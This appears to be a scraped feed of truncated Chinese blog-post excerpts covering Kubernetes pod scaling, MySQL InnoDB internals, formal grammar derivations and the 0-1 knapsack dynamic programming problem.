一、为何进行缩扩容&#xff1f; 在实际生产中&#xff0c;经常会遇到某个服务需要扩容的场景&#xff0c;可能会遇到由于资源紧张或者工作负载降低而需要减少服务实例数量的场景。可以利用Deployment/RC的Scale机制来完成这些工作。二、缩扩容模式 Kubernetes 对 Pod 扩容与缩…

mysql-Innodb解析

一.计算机不同介质操作速度 相对于CPU和内存操作&#xff0c; 我们可以看到磁盘的操作延时明显要大得多&#xff0c; 一次磁盘搜索的延时需要10ms。 假入我们某一个业务操作进行了大量磁盘读写&#xff0c; 那可以预料到这个服务的性能肯定是非常差的&#xff0c; 那么到底是什…

3.2文法与语言

1、文法生成语言 推导 定义&#xff1a;当αAβ直接推导出αγβ&#xff0c;即αAβ⇒αγβ&#xff0c;仅当A→γ是一个产生式&#xff0c;且α,β∈(VT∪VN)*。 注&#xff1a;按照我的理解是两个字符串的推导。如果α1⇒α2⇒…⇒αn,则我们称这个序列是从α1到αn的一个…

动态规划01 背包问题(算法)

上篇文章说了&#xff0c;查找组成一个偶数最接近的两个素数算法&#xff1a; 查找组成一个偶数最接近的两个素数https://blog.csdn.net/ke1ying/article/details/127872594 本篇文章题目是 动态规划01 背包问题&#xff1a; 背包容量5kg&#xff0c;现在有三个物体&#xf…